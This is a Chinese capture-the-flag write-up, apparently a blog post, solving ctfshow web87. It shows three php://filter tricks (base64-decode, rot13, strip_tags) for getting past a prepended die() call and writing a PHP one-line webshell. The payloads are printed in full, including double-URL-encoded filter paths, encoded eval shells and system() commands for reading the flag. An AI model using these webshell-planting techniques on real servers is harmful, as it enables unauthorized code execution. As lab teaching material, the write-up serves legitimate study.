ctfshow-web入门-文件包含(web87)巧用 php://filter 流绕过死亡函数的三种方法

59 篇文章 1 订阅
4 篇文章 0 订阅

目录

方法1:php://filter 流的 base64-decode 方法

方法2:通过 rot13 编码实现绕过

方法3:通过 strip_tags 函数去除 XML 标签


除了替换,新增 file_put_contents 函数,将会往 $file 里写入 <?php die('大佬别秀了');?> 和我们 post 传入的 $content 内容。

由于 $content 参数可控,因此我们可以写入恶意的 php 代码或者一句话木马,但是 <?php die('大佬别秀了');?> 这段 PHP 代码它会立即终止脚本执行并输出消息 "大佬别秀了",因此我们还需要绕过这个 die() 函数。

方法1:php://filter 流的 base64-decode 方法

Base64 编码仅包含 64 个可打印字符,即 A-Z、a-z、0-9、+ 和 /。在 PHP 中,当使用 base64_decode 函数解码一个字符串时,如果字符串中包含不在 Base64 字符集中的字符,这些字符将被跳过,只解码合法的 Base64 字符。

在解码 Base64 字符串之前先移除所有非法字符示例:

<?php
// 从 GET 请求中获取 'txt' 参数,并移除所有非法字符
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);

// 解码清理后的 Base64 字符串
$decoded = base64_decode($_GET['txt']);

// 输出解码后的字符串
echo $decoded;

题目中 $content 被加上了 <?php die('大佬别秀了');?> ,我们可以使用 php://filter/write=convert.base64-decode 先对其进行解码,在解码过程中,字符 <、?、空格、(、'、)、;、>,这些字符不符合 base64 编码的字符范围都将先被移除,最终剩下的用于解码的字符只有 phpdie 和我们 post 传入的内容。

由于 Base64 解码是以 4 个字符为一组进行的,这里移除后只剩下 6 个字符,因此我们随便加两个合法字符补全,让其 base64 解码成功,后面再继续传入经过 base64 编码的 payload,也可以被正常解码。

这里 url 传入的内容本身会进行一次 url 解码,题目中还使用了一个 urldecode 函数,因此 file 传入的内容需要先经过两次 url 编码再传入。

file 传入 php://filter/write=convert.base64-decode/resource=shell.php

进行两次 url 编码:

我在网上找了一些在线网站或者使用 urlencode() 函数都不会对字母进行 url 编码

因此这里使用 hackbar 来编码的,或者使用 burpsuite 也可以

我们不难看出,url 编码其实就是字符的十六进制前面加了个百分号 

两次 url 编码后的 payload: 

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30

对 webshell 进行 base64 编码:

注意我们还需要加两个合法字符让前面 base64 解码成功,这里多传入两个1。

post 传入:

content=11PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==

调用 shell.php

/shell.php?cmd=system('ls');

读取 flag:

/shell.php?cmd=system('tac fl0g.php');

拿到 flag:ctfshow{c7a95f32-b6d9-4a59-b8e7-c385684ce860}

方法2:通过 rot13 编码实现绕过

<?php die('大佬别秀了');?> 经过 rot13 编码会变成 <?cuc qrv(); ?>,如果 php 未开启短标签,则不会认识这段代码,也就不会执行。

file 传入 php://filter/write=string.rot13/resource=sh.php

两次 url 编码:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%32%65%25%37%30%25%36%38%25%37%30

将一句话木马进行 rot13 解码后传入 

content=<?cuc @riny($_TRG['pzq']);?>

该内容经过 rot13 编码就会变回正常的一句话木马 

之后访问 sh.php,调用木马:

/sh.php?cmd=system('ls');

该方法也是可以读取到 flag 的:

/sh.php?cmd=system('tac fl0g.php');

我们可以来看一下 sh.php 的内容:

前面短标签的 php 代码 <?cuc qvr('大佬别秀了');?> 无法被识别,但是后面的 <?php @eval($_GET['cmd']);?> 可以正常执行,总的来说这种方法适用于未开启短标签的情况。

方法3:通过 strip_tags 函数去除 XML 标签

<?php die(); ?> 实际上就是一个 XML 标签,我们可以通过 strip_tags 函数去除它。

但是我们传入的一句话木马也是 XML 标签,如何让它只去除 <?php die(); ?> 而不破坏我们传入的木马呢?我们可以先对一句话木马进行 base64 编码后传入,这样就不会受到 strip_tags 函数的影响,当去除掉 <?php die(); ?> 后,由于 php://filter 允许使用多个过滤器,我们再调用 base64-decode 将一句话木马进行 base64 解码,实现还原。

post 传入 base64 编码的一句话木马:

content=PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==

file 传入 php://filter/read=string.strip_tags|convert.base64-decode/resource=hack.php

两次 url 编码:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%32%25%36%35%25%36%31%25%36%34%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

报错:

Deprecated: file_put_contents(): The string.strip_tags filter is deprecated in /var/www/html/index.php on line 21

当前的 PHP 版本中 string.strip_tags 过滤器已被弃用 

看了下 hack.php 的内容:

是 base64 编码的一句话木马,很奇怪,我原本以为第一个过滤器执行失败了,但是这里没有看到 <?php die(); ?> ,说明 string.strip_tags 过滤器执行成功了,但 convert.base64-decode 过滤器未成功执行。

不太清楚是什么原因,知道的师傅可以解释一下谢谢。

  • 35
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值